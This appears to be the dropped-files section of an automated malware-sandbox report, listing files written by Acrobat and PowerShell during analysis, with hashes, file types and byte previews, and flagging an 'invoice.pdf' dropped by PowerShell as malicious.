Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"75d79392e8fce9fa5231704fbb6834ec","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736550263000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9a1a0028844e8b412487c00efcac6529","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736550263000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"076aaed7ed10ec3ba4a437fbbc92d5e1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736550263000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cbf6950df9d0b10963a06f8f649ce89e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736550263000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5c44174549f7e1b6603022b46eb037f2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736550263000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6096a50e752aa4236c986dddcda728e1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1866363021995945
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUK4SvR9H9vxFGiDIAEkGVvp22:lNVmswUUUUUUUUK4+FGSItK2
MD5:	8DFC0D6F5087282D5122828456E3639A
SHA1:	F913C4BE21C7F231E0705679A47345A6788FC4C8
SHA-256:	3D0E7552040436F89035C7208CF85FE74B889000654E368F46C80D8AFC1DC4B9
SHA-512:	9DEB7519280BFFCB529B2E019879093EBB740FE6FAA28E739CB29D10C7DFF2CD8C2A0D15298C5FECF3161A57870E363E56BFC04D06B963ED75D36EA26F662C25
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.605388564181709
Encrypted:	false
SSDEEP:	48:7MoKUUUUUUUUUUKavR9H9vxFGiDIAEkGVvmUqFl2GL7mso:7sUUUUUUUUUUKmFGSItkUKVmso
MD5:	8E00AE47BDA3430116689A61F16EACED
SHA1:	0CC6F2E88785BA802ED38770FD6A7D3C218CBA7A
SHA-256:	0E461137F2F91203C7034075928F2360951E55408FE493764EB06EA2CDEEB11C
SHA-512:	66D831847E7623BE259CBB5160C0D45AAC9C14A2D5291BFF0F3C9B5D4928AB12308830028DE7798A093955023B68F392BED08D3057E40142623071B1E729589D
Malicious:	false
Preview:	.... .c.....z.5.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6pnG8WOxhwxd4liBbKrHBE5bLYyu:6a6TZ44ADE6pnpWOed4lpE5XK
MD5:	DD5E5B7E0D41A82758A0BA5F64319608
SHA1:	B8906D7E381E08E4389F19AE5574518BFAAF1534
SHA-256:	E06939E71C7D6F0C584D3ECFF752079B052A1F2C2CC0D411F05862C9DEA49472
SHA-512:	7152FA8B240AA91EF48E02BAA277781149AA6DDD4B695018061C8A94F3CD5E1702186FAE2A13E18E44F487A588886162E1B73C74762A44F09EE7CF74C6FF5766
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI90e47.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEF8:Qw946cPbiOxDlbYnuRK+bDq
MD5:	B98C2FE6D9DB4DB9B0BC46791725AA37
SHA1:	AE44EE4EB45E377E3A465B0A2FC8894E4BB3BC1C
SHA-256:	BEAD9F511C3B9C9F76DE22547C99151A4A8CCE89BA127279773829A1912A3D7A
SHA-512:	A849FB651A7EEF528556D762174C355CA869EF6CE24F4B4FE7FAC80674F5CBEF973B75376817198D84B9F630A1C5F145A23E7E68BA9A715541D3A5BA6D5B2DA4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.0.4.:.2.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qucrfgqh.cmx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxw3er0b.dnk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A914ylkky_le4k24_5fs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9gcgg7_le4k25_5fs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-04-19-730.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.36598854958301
Encrypted:	false
SSDEEP:	384:wxtQF5vq/jwYVbP4pY21dKfKNKAYDcaGNdkgOg5gfzt1lXiqvIKPGE2T2quXuXmJ:KCM
MD5:	70343B27535DA55959CBB632D36149B6
SHA1:	5E8E6781FFBA922350DE87E0A95EC445BDF7CE35
SHA-256:	9B039D9A0FE78ED60C4CFDC895557C45672CDA16A65B185C6E54C736E68E5BB1
SHA-512:	9D2A1868E0E24E5202E0F8573E194332BE404EAA8FB1B50C9311E48C5AA7388F26AE33EA7FE3BFF103D0E638974F19B47B3BCD43E6576B83DC2FA917E2157AF8
Malicious:	false
Preview:	SessionID=8bc9e14d-15dc-4ecd-92f9-1891c3782f75.1736550259756 Timestamp=2025-01-10T18:04:19:756-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8bc9e14d-15dc-4ecd-92f9-1891c3782f75.1736550259756 Timestamp=2025-01-10T18:04:19:757-0500 ThreadID=7804 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8bc9e14d-15dc-4ecd-92f9-1891c3782f75.1736550259756 Timestamp=2025-01-10T18:04:19:757-0500 ThreadID=7804 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8bc9e14d-15dc-4ecd-92f9-1891c3782f75.1736550259756 Timestamp=2025-01-10T18:04:19:757-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8bc9e14d-15dc-4ecd-92f9-1891c3782f75.1736550259756 Timestamp=2025-01-10T18:04:19:757-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389036181719438
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rc:GYYsb8RsnpN1prctesdQ1uL
MD5:	9E4410FEC2620DF2231934D39E533561
SHA1:	0AEEE88497503FA3E520FA7BF33C476D4E0FF0E5
SHA-256:	972842013993407BCC9C641B1BD274883554366DB71289D1FCBAEEA7E953D394
SHA-512:	266DB08A7B0E527FD25598AEBD7750C2DEE5B39782618627500883C6B6A778EA041482467567E7EBB7A4A4C950E7AA4DC8EB4DF161C71796A18CFDFDFD8332BA
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0a0f46a1-a1e1-4fbc-98e1-273124c961b4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\2336eac8-e5ce-4ecd-9df5-844939c997e5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\30966563-398f-4caf-81c6-37ef59c1f7b1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f08de7b3-bddf-41a1-a239-e6c8374ba11d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
